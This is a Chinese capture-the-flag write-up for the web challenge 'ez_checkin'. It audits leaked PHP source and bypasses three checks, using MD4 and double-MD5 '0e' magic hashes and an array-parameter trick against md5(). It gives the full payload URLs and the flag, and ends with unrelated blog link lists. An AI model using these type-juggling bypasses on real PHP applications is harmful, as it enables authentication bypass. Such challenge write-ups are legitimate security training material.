web ez_checkin

  • 进去看了一会,啥也没找到,直接上dirsearch

  • 扫到一个index.php~,打开看一看,是php审计
<?php

error_reporting(0);
include "flag.php";
echo "Come and hack me"; if (isset($_GET["param1"])){
if ($_GET["param1"] == hash("md4", $_GET["param1"]))
{
echo "<br>Welcome to level 2!<br>";
if (isset($_GET['param2']) && isset($_GET['param3'])) { if ($_GET['param2'] != $_GET['param3'] && md5($_GET['param2']) == md5(md5($_GET['param3']))){
echo "<br>Welcome to level 3!<br>";
if(isset($_GET['param4']) && isset($_GET['param5'])){
if($_GET['param4'] != $_GET['param5'] && md5($_GET['param4']) === md5($_GET['param5'])){ echo $flag;
}
else{
die("Come on ! One more trick!");
}
}
} else{
die("What R U doing?");
} } }
else { die("????????????"); }
}
  • 一共有三层判断,只要绕过这三层就可以获得flag

  • 第一层是一个MD4绕过

  • 使用0e的科学计数法即可绕过

$_GET["param1"] == hash("md4", $_GET["param1"])
  • payload:
http://9cff3263.yunyansec.com/index.php
?param1=0e251288019
  • 成功到达第二层
$_GET['param2'] != $_GET['param3']  &&  md5($_GET['param2']) == md5(md5($_GET['param3']))
  • 双MD5碰撞绕过

MD5大全:

CbDLytmyGm2xQyaLNhWn

md5(CbDLytmyGm2xQyaLNhWn) => 0ec20b7c66cafbcc7d8e8481f0653d18

md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af

770hQgrBOjrcqftrlaZk

md5(770hQgrBOjrcqftrlaZk) => 0e689b4f703bdc753be7e27b45cb3625

md5(md5(770hQgrBOjrcqftrlaZk)) => 0e2756da68ef740fd8f5a5c26cc45064

7r4lGXCH2Ksu2JNT3BYM

md5(7r4lGXCH2Ksu2JNT3BYM) => 0e269ab12da27d79a6626d91f34ae849

md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f
  • payload:
http://9cff3263.yunyansec.com/index.php
?param1=0e251288019
&param2=0ec20b7c66cafbcc7d8e8481f0653d18
&param3=CbDLytmyGm2xQyaLNhWn
  • 成功到达第三层
$_GET['param4'] != $_GET['param5']  &&  md5($_GET['param4']) === md5($_GET['param5'])
  • 一个简单的MD5碰撞

  • 直接使用数组传值,md5()无法处理数组,都会返回NULL

  • 最终payload:

http://9cff3263.yunyansec.com/index.php
?param1=0e251288019
&param2=0ec20b7c66cafbcc7d8e8481f0653d18
&param3=CbDLytmyGm2xQyaLNhWn
&param4[]=1
&param5[]=2

flag{a869a5ea62bd6a8d2a9294dbc51c58ff}

最新文章

  1. IOS开发的基础知识
  2. CSS样式----图文详解(二):css属性
  3. scrollview嵌套listview 滑动事件冲突的解决方法
  4. IE浏览器GET传参后台乱码
  5. 三. ServerSocket用法
  6. Ensemble Learning 之 Adaboost
  7. [转]前景检测算法--ViBe算法
  8. WinForm点击按钮在对应的panel里画图
  9. 李洪强iOS开之【零基础学习iOS开发】【02-C语言】04-常量、变量
  10. VSX规划Package文件
  11. 第一章 01 namespace 命名空间
  12. [AngularJS] ngPluralize
  13. JQ 遍历节点
  14. 阻止IOS自动识别页面上的电话号码、email地址
  15. 利用Socket实现的两个程序的通信
  16. [置顶] IOS培训资料
  17. embedded dylibs/frameworks are only supported on iOS 8.0 and later 错误解决
  18. [CLR via C#]1.6 Framework类库~1.9与非托管代码的互操作性
  19. C++数据个数未知情况下的输入方法
  20. git tag本地删除以及远程删除

热门文章

  1. 数据泵导入,报错:ORA-12899: value too large for column &quot;SCOTT&quot;.&quot;TEST112&quot;.&quot;JOIN&quot; (actual: 9, maximum: 8)
  2. gRPC入门—golang实现
  3. android悬浮窗口
  4. Python基础之:Python的数据结构
  5. Java基础篇(JVM)——类加载机制
  6. layui laydate 设置日期格式 最大值等
  7. 利用C语言判别用户输入数的奇偶性和正负性
  8. Linux(CentOS)下安装docker
  9. CentOS-yum安装Redis(单点)
  10. Docker:虚拟机挂起后,再启动docker容器连接失败